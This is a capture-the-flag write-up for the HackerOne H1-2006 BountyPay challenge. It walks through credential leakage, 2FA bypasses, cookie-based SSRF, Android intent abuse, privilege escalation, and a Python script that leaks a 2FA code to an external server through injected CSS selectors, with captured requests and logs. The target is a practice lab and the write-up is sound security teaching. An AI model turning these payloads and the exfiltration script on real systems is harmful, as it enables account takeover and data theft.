h1-ctf · Report #893305
[H1-2006 2020] CTF Writeup
How it was found
Summary:
Multiple Vulnerabilities leading to full account takeover and access to restricted functions
- Information Disclosure
- Login 2FA Bypass
- SSRF
- Hardcoded validation
- Sensitive information disclosure
- Privilege Escalation
- Payments 2FA Bypass through SSRF
Steps To Reproduce:
- Recon
I got some information about the subdomains with certspotter
certspotter bountypay.h1ctf.com
api.bountypay.h1ctf.com
app.bountypay.h1ctf.com
bountypay.h1ctf.com
software.bountypay.h1ctf.com
staff.bountypay.h1ctf.com
www.bountypay.h1ctf.com
- Information Disclosure
Doing some directory brute force to https://app.bountypay.h1ctf.com found a /.git/ directory with config file.
{F858119}
This config file is linked to a github repo https://github.com/bounty-pay-code/request-logger.git
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[remote "origin"]
url = https://github.com/bounty-pay-code/request-logger.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
remote = origin
merge = refs/heads/master
In this repo exist only one file called logger.php who explains how the website logs request and looks like this
<?php
$data = array(
'IP' => $_SERVER["REMOTE_ADDR"],
'URI' => $_SERVER["REQUEST_URI"],
'METHOD' => $_SERVER["REQUEST_METHOD"],
'PARAMS' => array(
'GET' => $_GET,
'POST' => $_POST
)
);
file_put_contents('bp_web_trace.log', date("U").':'.base64_encode(json_encode($data))."\n",FILE_APPEND );
in simple words, every line contains the timestamp and a base 64 encoded json string with request information. Then looked for bp_web_trace.log in https://app.bountypay.h1ctf.com/bp_web_trace.log and decoded the base64 string:
Original:
1588931909:eyJJUCI6IjE5Mi4xNjguMS4xIiwiVVJJIjoiXC8iLCJNRVRIT0QiOiJHRVQiLCJQQVJBTVMiOnsiR0VUIjpbXSwiUE9TVCI6W119fQ==
1588931919:eyJJUCI6IjE5Mi4xNjguMS4xIiwiVVJJIjoiXC8iLCJNRVRIT0QiOiJQT1NUIiwiUEFSQU1TIjp7IkdFVCI6W10sIlBPU1QiOnsidXNlcm5hbWUiOiJicmlhbi5vbGl2ZXIiLCJwYXNzd29yZCI6IlY3aDBpbnpYIn19fQ==
1588931928:eyJJUCI6IjE5Mi4xNjguMS4xIiwiVVJJIjoiXC8iLCJNRVRIT0QiOiJQT1NUIiwiUEFSQU1TIjp7IkdFVCI6W10sIlBPU1QiOnsidXNlcm5hbWUiOiJicmlhbi5vbGl2ZXIiLCJwYXNzd29yZCI6IlY3aDBpbnpYIiwiY2hhbGxlbmdlX2Fuc3dlciI6ImJEODNKazI3ZFEifX19
1588931945:eyJJUCI6IjE5Mi4xNjguMS4xIiwiVVJJIjoiXC9zdGF0ZW1lbnRzIiwiTUVUSE9EIjoiR0VUIiwiUEFSQU1TIjp7IkdFVCI6eyJtb250aCI6IjA0IiwieWVhciI6IjIwMjAifSwiUE9TVCI6W119fQ==
Decoded:
1588931909:{"IP":"192.168.1.1","URI":"\/","METHOD":"GET","PARAMS":{"GET":[],"POST":[]}}
1588931919:{"IP":"192.168.1.1","URI":"\/","METHOD":"POST","PARAMS":{"GET":[],"POST":{"username":"brian.oliver","password":"V7h0inzX"}}}
1588931928:{"IP":"192.168.1.1","URI":"\/","METHOD":"POST","PARAMS":{"GET":[],"POST":{"username":"brian.oliver","password":"V7h0inzX","challenge_answer":"bD83Jk27dQ"}}}
1588931945:{"IP":"192.168.1.1","URI":"\/statements","METHOD":"GET","PARAMS":{"GET":{"month":"04","year":"2020"},"POST":[]}}
Bingo! got first credentials
username: brian.oliver password: V7h0inzX
- Login 2FA Bypass
Logging in with this credentials there was a 2FA
{F858126}
This form contains a hidden field called challenge with md5 hash and the challenge_answer with user input.
<form method="post" action="/">
<input type="hidden" name="username" value="brian.oliver">
<input type="hidden" name="password" value="V7h0inzX">
<input type="hidden" name="challenge" value="832985fb487bcae88db2fc144fc15378">
<div class="panel panel-default" style="margin-top:50px">
<div class="panel-heading">Login</div>
<div class="panel-body">
<div style="margin-top:7px"><label>For Security we've sent a 10 character password to your mobile phone, please enter it below</label></div>
<div style="margin-top:7px"><label>Password contains characters between A-Z , a-z and 0-9</label></div>
<div><input name="challenge_answer" class="form-control"></div>
</div>
</div>
<input type="submit" class="btn btn-success pull-right" value="Login">
</form>
After some tests i realized the challenge field is just md5(challenge_answer) and does not validate the number of characters of the answer. So if you send:
challenge = 0cc175b9c0f1b6a831c399e269772661 -> md5(a) or any string challenge_answer = a
You can bypass 2FA.
- Server Side Request Forgery
In the user session the pay button makes a get request to statements?month=MONTH_NUMBER&year=YEAR and get a json response. Making a request with month=05 and year=2020 i got:
{
"url": "https://api.bountypay.h1ctf.com/api/accounts/F8gHiqSdpK/statements?month=05&year=2020",
"data": "{\"description\":\"Transactions for 2020-05\",\"transactions\":[]}"
}
Additionally, the cookie is a base64-encoded json string
eyJhY2NvdW50X2lkIjoiRjhnSGlxU2RwSyIsImhhc2giOiJkZTIzNWJmZmQyM2RmNjk5NWFkNGUwOTMwYmFhYzFhMiJ9
decoded:
{"account_id":"F8gHiqSdpK","hash":"de235bffd23df6995ad4e0930baac1a2"}
So, the account_id is in the response and should be usefull to get SSRF.
Going to https://api.bountypay.h1ctf.com/ found
<div class="container">
<div class="row">
<div class="col-sm-6 col-sm-offset-3">
<div class="text-center" style="margin-top:30px"><img src="/images/bountypay.png" height="150"></div>
<h1 class="text-center">BountyPay API</h1>
<p style="text-align: justify">Our BountyPay API controls all of our services in one place. We use a <a href="/redirect?url=https://www.google.com/search?q=REST+API">REST API</a> with JSON output. If you are interested in using this API please contact your account manager.</p>
</div>
</div>
</div>
This url https://api.bountypay.h1ctf.com/redirect?url= has a whitelist and cannot "redirect" to any site so i had to move on a little. On the other side, the url https://software.bountypay.h1ctf.com/ shows an 401 Unauthorized message.
{F858176}
The message "You do not have permission to access this server from your IP Address" is the hint to test this url in redirect.
Testing redirect with software url https://api.bountypay.h1ctf.com/redirect?url=https://software.bountypay.h1ctf.com/ from cookie like this:
decoded:
{"account_id":"../../redirect?url=https://software.bountypay.h1ctf.com/#","hash":"de235bffd23df6995ad4e0930baac1a2"}
base64-encoded:
eyJhY2NvdW50X2lkIjoiLi4vLi4vcmVkaXJlY3Q/dXJsPWh0dHBzOi8vc29mdHdhcmUuYm91bnR5cGF5LmgxY3RmLmNvbS8jIiwiaGFzaCI6ImRlMjM1YmZmZDIzZGY2OTk1YWQ0ZTA5MzBiYWFjMWEyIn0=
Response
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Sun, 07 Jun 2020 15:10:37 GMT
Content-Type: application/json
Connection: close
Content-Length: 1605
{"url":"https:\/\/api.bountypay.h1ctf.com\/api\/accounts\/..\/..\/redirect?url=https:\/\/software.bountypay.h1ctf.com\/#\/statements?month=04&year=2020","data":"<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n <meta charset=\"utf-8\">\n <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n <title>Software Storage<\/title>\n <link href=\"\/css\/bootstrap.min.css\" rel=\"stylesheet\">\n<\/head>\n<body>\n\n<div class=\"container\">\n <div class=\"row\">\n <div class=\"col-sm-6 col-sm-offset-3\">\n <h1 style=\"text-align: center\">Software Storage<\/h1>\n <form method=\"post\" action=\"\/\">\n <div class=\"panel panel-default\" style=\"margin-top:50px\">\n <div class=\"panel-heading\">Login<\/div>\n <div class=\"panel-body\">\n <div style=\"margin-top:7px\"><label>Username:<\/label><\/div>\n <div><input name=\"username\" class=\"form-control\"><\/div>\n <div style=\"margin-top:7px\"><label>Password:<\/label><\/div>\n <div><input name=\"password\" type=\"password\" class=\"form-control\"><\/div>\n <\/div>\n <\/div>\n <input type=\"submit\" class=\"btn btn-success pull-right\" value=\"Login\">\n <\/form>\n <\/div>\n <\/div>\n<\/div>\n<script src=\"\/js\/jquery.min.js\"><\/script>\n<script src=\"\/js\/bootstrap.min.js\"><\/script>\n<\/body>\n<\/html>"}
Got SSRF!
At this time, just need to find some sensitive directory or file in software subdomain, so i generate a cookie payload list with python using the dirsearch dictionary, import it in burp intruder and process payload with base64 encoding.
#!/usr/bin/python3
file = open("payloads.txt","a")
with open('dicc.txt') as fp:
line = fp.readline()
while line:
url = 'https://software.bountypay.h1ctf.com/{}/#'.format(line.strip())
l = '{"account_id":"../../redirect?url=%s","hash":"de235bffd23df6995ad4e0930baac1a2"}' % url
file.write(l+'\n')
line = fp.readline()
file.close()
Send the request to intruder and import payload list. {F858200} {F858201}
Then found an apk in https://software.bountypay.h1ctf.com/uploads/BountyPay.apk
Time to analize apk file!
- Hardcoded validation
Extracting apk file and reading AndroidManifest.xml got some interesting information
<activity android:label="@string/title_activity_part_three" android:name="bounty.pay.PartThreeActivity" android:theme="@style/AppTheme.NoActionBar">
<intent-filter android:label="">
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:host="part" android:scheme="three"/>
</intent-filter>
</activity>
<activity android:label="@string/title_activity_part_two" android:name="bounty.pay.PartTwoActivity" android:theme="@style/AppTheme.NoActionBar">
<intent-filter android:label="">
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:host="part" android:scheme="two"/>
</intent-filter>
</activity>
<activity android:label="@string/title_activity_part_one" android:name="bounty.pay.PartOneActivity" android:theme="@style/AppTheme.NoActionBar">
<intent-filter android:label="">
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:host="part" android:scheme="one"/>
</intent-filter>
</activity>
Using dex2jar to get jar file from apk and openning jar file with JDGui
dex2jar BountyPay.apk
{F858209}
PartOneActivity
if (getIntent() != null && getIntent().getData() != null) {
String str = getIntent().getData().getQueryParameter("start");
if (str != null && str.equals("PartTwoActivity") && sharedPreferences.contains("USERNAME")) {
str = sharedPreferences.getString("USERNAME", "");
SharedPreferences.Editor editor = sharedPreferences.edit();
String str1 = sharedPreferences.getString("TWITTERHANDLE", "");
editor.putString("PARTONE", "COMPLETE").apply();
logFlagFound(str, str1);
startActivity(new Intent(this, PartTwoActivity.class));
}
}
Part one require an intent with start parameter equals to "PartTwoActivity". An reading the intents in manifest
<data android:host="part" android:scheme="one"/>
<data android:host="part" android:scheme="two"/>
<data android:host="part" android:scheme="three"/>
Sending intent with adb.
adb shell am start -a "android.intent.action.VIEW" -d "one://part?start=PartTwoActivity"
Same method in PartTwoActivity
if (getIntent() != null && getIntent().getData() != null) {
Uri uri = getIntent().getData();
String str1 = uri.getQueryParameter("two");
String str2 = uri.getQueryParameter("switch");
if (str1 != null && str1.equals("light") && str2 != null && str2.equals("on")) {
editText.setVisibility(0);
button.setVisibility(0);
textView.setVisibility(0);
}
}
adb shell am start -a "android.intent.action.VIEW" -d "two://part?two=light\&switch=on"
Now some md5 hash is on the screen, copy it and try to crack it.
459a6f79ad9b13cbcb5f692d2cc7a94d = Token
Finally PartThreeActivity
if (getIntent() != null && getIntent().getData() != null) {
Uri uri = getIntent().getData();
final String firstParam = uri.getQueryParameter("three");
final String secondParam = uri.getQueryParameter("switch");
final String thirdParam = uri.getQueryParameter("header");
byte[] arrayOfByte2 = Base64.decode(str1, 0);
byte[] arrayOfByte1 = Base64.decode(str2, 0);
final String decodedFirstParam = new String(arrayOfByte2, StandardCharsets.UTF_8);
final String decodedSecondParam = new String(arrayOfByte1, StandardCharsets.UTF_8);
this.childRefThree.addListenerForSingleValueEvent(new ValueEventListener() {
public void onCancelled(DatabaseError param1DatabaseError) { Log.e("TAG", "onCancelled", param1DatabaseError.toException()); }
public void onDataChange(DataSnapshot param1DataSnapshot) {
String str = (String)param1DataSnapshot.getValue();
if (firstParam != null && decodedFirstParam.equals("PartThreeActivity") && secondParam != null && decodedSecondParam.equals("on")) {
String str1 = thirdParam;
if (str1 != null) {
StringBuilder stringBuilder = new StringBuilder();
stringBuilder.append("X-");
stringBuilder.append(str);
if (str1.equals(stringBuilder.toString())) {
editText.setVisibility(0);
button.setVisibility(0);
PartThreeActivity.this.thread.start();
}
}
}
}
});
}
three=base64('PartThreeActivity') switch=base64('on')
adb shell am start -a "android.intent.action.VIEW" -d "three://part?three=UGFydFRocmVlQWN0aXZpdHk=\&switch=b24=\&header=X-Token"
In other window i started logcat to capture app output.
adb -d logcat bounty.pay:I
{F858224}
HOST IS: : http://api.bountypay.h1ctf.com
TOKEN IS: : 8e9998ee3137ca9ade8f372739f062c1
HEADER VALUE AND HASH : X-Token: 8e9998ee3137ca9ade8f372739f062c1
Insert leaked hash and submit.
{F858220} Bingo! all android challenges completed.
- Sensitive information disclosure
At this time i can consume api with X-Token.
Brute forcing api directories to get endpoints to consume.
400 - 22B - /api/accounts/login
400 - 22B - /api/accounts/signin
400 - 22B - /api/accounts/logon
200 - 104B - /api/staff
200 - 104B - /api/staff/
Then open https://api.bountypay.h1ctf.com/api/staff and send to burp repeater to add X-Token header
Request
GET /api/staff HTTP/1.1
Host: api.bountypay.h1ctf.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: es-CL,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
X-Token: 8e9998ee3137ca9ade8f372739f062c1
Response
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Sun, 07 Jun 2020 17:13:50 GMT
Content-Type: application/json
Connection: close
Content-Length: 104
[{"name":"Sam Jenkins","staff_id":"STF:84DJKEIP38"},{"name":"Brian Oliver","staff_id":"STF:KE624RQ2T9"}]
Changing the request to POST and sent staff_id with retrieved data request:
POST /api/staff HTTP/1.1
Host: api.bountypay.h1ctf.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: es-CL,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
X-Token: 8e9998ee3137ca9ade8f372739f062c1
Content-Type: application/x-www-form-urlencoded
Content-Length: 23
staff_id=STF:KE624RQ2T9
Response
HTTP/1.1 409 Conflict
Server: nginx/1.14.0 (Ubuntu)
Date: Sun, 07 Jun 2020 17:16:32 GMT
Content-Type: application/json
Connection: close
Content-Length: 39
["Staff Member already has an account"]
So i needed to find a new staff member to activate. Got twitter information from https://twitter.com/BountypayHQ and found a welcome tweet https://twitter.com/BountypayHQ/status/1258692286256500741 There is the new member and need to activate her account.
Looking for who is following bountypayhq account https://twitter.com/bountypayhq/following
And finally found Sandra's twitter account https://twitter.com/SandraA76708114
{F858267}
So finally got the staff id to activate the account.
staff_id=STF:8FJ3KFISL3
HTTP/1.1 201 Created
Server: nginx/1.14.0 (Ubuntu)
Date: Sun, 07 Jun 2020 17:38:13 GMT
Content-Type: application/json
Connection: close
Content-Length: 110
{"description":"Staff Member Account Created","username":"sandra.allison","password":"s%3D8qB8zEpMnc*xsz7Yp5"}
Bingo! got another credentials
username: sandra.allison password: s%3D8qB8zEpMnc*xsz7Yp5
Time to log in https://staff.bountypay.h1ctf.com/
- Privilege Escalation
After logging in staff site, found some interesting function.
Avatar change: sets avatar value in div class
website.js:
$('.upgradeToAdmin').click(function () {
let t = $('input[name="username"]').val();
$.get('/admin/upgrade?username=' + t, function () {
alert('User Upgraded to Admin')
})
}),
$('.tab').click(function () {
return $('.tab').removeClass('active'),
$(this).addClass('active'),
$('div.content').addClass('hidden'),
$('div.content-' + $(this).attr('data-target')).removeClass('hidden'),
!1
}),
$('.sendReport').click(function () {
$.get('/admin/report?url=' + url, function () {
alert('Report sent to admin team')
}),
$('#myModal').modal('hide')
}),
document.location.hash.length > 0 && ('#tab1' === document.location.hash && $('.tab1').trigger('click'), '#tab2' === document.location.hash && $('.tab2').trigger('click'), '#tab3' === document.location.hash && $('.tab3').trigger('click'), '#tab4' === document.location.hash && $('.tab4').trigger('click'));
So, there is a way to escalate privileges reporting a url who triggers upgradeToAdmin function with sandra.allison username. Changing avatar to "tab4 upgradeToAdmin" i can control the execution of upgradeToAdmin function through url with #tab4, but the username was undefined.
https://staff.bountypay.h1ctf.com/?template=ticket&ticket_id=3582#tab4
to avoid undefined username, tried to get login template and ticket template together. Then had everything working together and reported base64 encoded path.
decoded
/?template[]=login&username=sandra.allison&template[]=ticket&ticket_id=3582#tab4
encoded
Lz90ZW1wbGF0ZVtdPWxvZ2luJnVzZXJuYW1lPXNhbmRyYS5hbGxpc29uJnRlbXBsYXRlW109dGlja2V0JnRpY2tldF9pZD0zNTgyI3RhYjQK
Got admin privileges and another credentials.
username: marten.mickos password: h&H5wy2Lggj*kKn4OD&Ype
Finally, Marten Mickos account! Time to go back to https://app.bountypay.h1ctf.com/
- Payments 2FA Bypass through SSRF
Logged in with marten.mickos credentials and bypassing 2FA mentioned before (1), retrieved payments for 05/2020 {F858290}
Pressing pay button got new 2FA page. {F858292}
Analyzing send challenge request
POST /pay/17538771/27cd1393c170e1e97f9507a5351ea1ba HTTP/1.1
Host: app.bountypay.h1ctf.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: es-CL,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 73
Origin: https://app.bountypay.h1ctf.com
Connection: close
Referer: https://app.bountypay.h1ctf.com/pay/17538771/27cd1393c170e1e97f9507a5351ea1ba
Cookie: token=eyJhY2NvdW50X2lkIjoiQWU4aUpMa245eiIsImhhc2giOiIzNjE2ZDZiMmMxNWU1MGMwMjQ4YjIyNzZiNDg0ZGRiMiJ9
Upgrade-Insecure-Requests: 1
app_style=https%3A%2F%2Fwww.bountypay.h1ctf.com%2Fcss%2Funi_2fa_style.css
The request sends a css url, so tried the same request with my server url got request from remote server...and SSRF again!.
3.21.98.146 - - [07/Jun/2020 18:11:47] code 404, message File not found
3.21.98.146 - - [07/Jun/2020 18:11:47] "GET /test HTTP/1.1" 404 -
Reading something about css data exfiltration, i found something who helped me and created python script.
#/bin/python3
import string
css = 'css/uni_2fa_style.css'
hostname = 'https://leoastorga.com:3000'
def name(x):
file = open(css,'w')
for s in (string.ascii_letters + string.digits + '-_'):
line = "input[name^='%s'] {background: url('%s/%s');}" % (x+s, hostname, x+s)
print(line)
file.write(line+'\n')
file.close()
if __name__ == "__main__":
input = input("str: ")
while(input != 'exit'):
name(input)
input = input("str: ")
Sent my css url and executing python script to update it, retrieved information about field names. There is a input field for each character!!
app_style=https://leoastorga.com:3000/css/uni_2fa_style.css
3.21.98.146 - - [07/Jun/2020 18:23:56] "GET /css/uni_2fa_style.css HTTP/1.1" 200 -
3.21.98.146 - - [07/Jun/2020 18:23:56] "GET /c HTTP/1.1" 404 -
3.21.98.146 - - [07/Jun/2020 18:24:00] "GET /css/uni_2fa_style.css HTTP/1.1" 200 -
3.21.98.146 - - [07/Jun/2020 18:24:01] "GET /co HTTP/1.1" 404 -
3.21.98.146 - - [07/Jun/2020 18:24:08] "GET /css/uni_2fa_style.css HTTP/1.1" 200 -
3.21.98.146 - - [07/Jun/2020 18:24:08] "GET /cod HTTP/1.1" 404 -
3.21.98.146 - - [07/Jun/2020 18:24:14] "GET /css/uni_2fa_style.css HTTP/1.1" 200 -
3.21.98.146 - - [07/Jun/2020 18:24:15] "GET /code HTTP/1.1" 404 -
3.21.98.146 - - [07/Jun/2020 18:24:21] "GET /css/uni_2fa_style.css HTTP/1.1" 200 -
3.21.98.146 - - [07/Jun/2020 18:24:21] "GET /code_ HTTP/1.1" 404 -
3.21.98.146 - - [07/Jun/2020 18:24:29] "GET /css/uni_2fa_style.css HTTP/1.1" 200 -
3.21.98.146 - - [07/Jun/2020 18:24:30] "GET /code_7 HTTP/1.1" 404 -
3.21.98.146 - - [07/Jun/2020 18:24:30] "GET /code_1 HTTP/1.1" 404 -
3.21.98.146 - - [07/Jun/2020 18:24:30] "GET /code_2 HTTP/1.1" 404 -
3.21.98.146 - - [07/Jun/2020 18:24:30] "GET /code_3 HTTP/1.1" 404 -
3.21.98.146 - - [07/Jun/2020 18:24:30] "GET /code_4 HTTP/1.1" 404 -
3.21.98.146 - - [07/Jun/2020 18:24:30] "GET /code_5 HTTP/1.1" 404 -
3.21.98.146 - - [07/Jun/2020 18:24:30] "GET /code_6 HTTP/1.1" 404 -
adding some function to my python script to retrieve the information for each field.
#/bin/python3
import string
css = 'css/uni_2fa_style.css'
hostname = 'https://leoastorga.com:3000'
def name(x):
file = open(css,'w')
for s in (string.ascii_letters + string.digits + '-_'):
line = "input[name^='%s'] {background: url('%s/%s');}" % (x+s, hostname, x+s)
print(line)
file.write(line+'\n')
file.close()
def value():
file = open(css,'w')
for s in (string.ascii_letters + string.digits):
for i in range(1,8):
line = "input[name='code_%d'][value^='%s'] {background: url('%s/%d_%s');}" % (i, s, hostname, i, s)
print(line)
file.write(line+'\n')
file.close()
if __name__ == "__main__":
value()
#input = input("str: ")
#while(input != 'exit'):
# name(input)
# input = input("str: ")
Then executed every thing together and got the following response
3.21.98.146 - - [07/Jun/2020 18:17:59] "GET /css/uni_2fa_style.css HTTP/1.1" 200 -
3.21.98.146 - - [07/Jun/2020 18:18:00] "GET /7_i HTTP/1.1" 404 -
3.21.98.146 - - [07/Jun/2020 18:18:00] "GET /1_0 HTTP/1.1" 404 -
3.21.98.146 - - [07/Jun/2020 18:18:00] "GET /2_8 HTTP/1.1" 404 -
3.21.98.146 - - [07/Jun/2020 18:18:00] "GET /3_P HTTP/1.1" 404 -
3.21.98.146 - - [07/Jun/2020 18:18:00] "GET /4_V HTTP/1.1" 404 -
3.21.98.146 - - [07/Jun/2020 18:18:00] "GET /5_F HTTP/1.1" 404 -
3.21.98.146 - - [07/Jun/2020 18:18:00] "GET /6_J HTTP/1.1" 404 -
Sort by field number got "O8PVFJi", sent the 2FA code and paid the bountys!
{F858313}
Flag: ==^FLAG^736c635d8842751b8aafa556154eb9f3$FLAG$==
Supporting Material/References:
https://research.securitum.com/css-data-exfiltration-in-firefox-via-single-injection-point/
Impact
By chaining multiple vulnerabilities attacker can achieve full account takeover and access to restricted functions.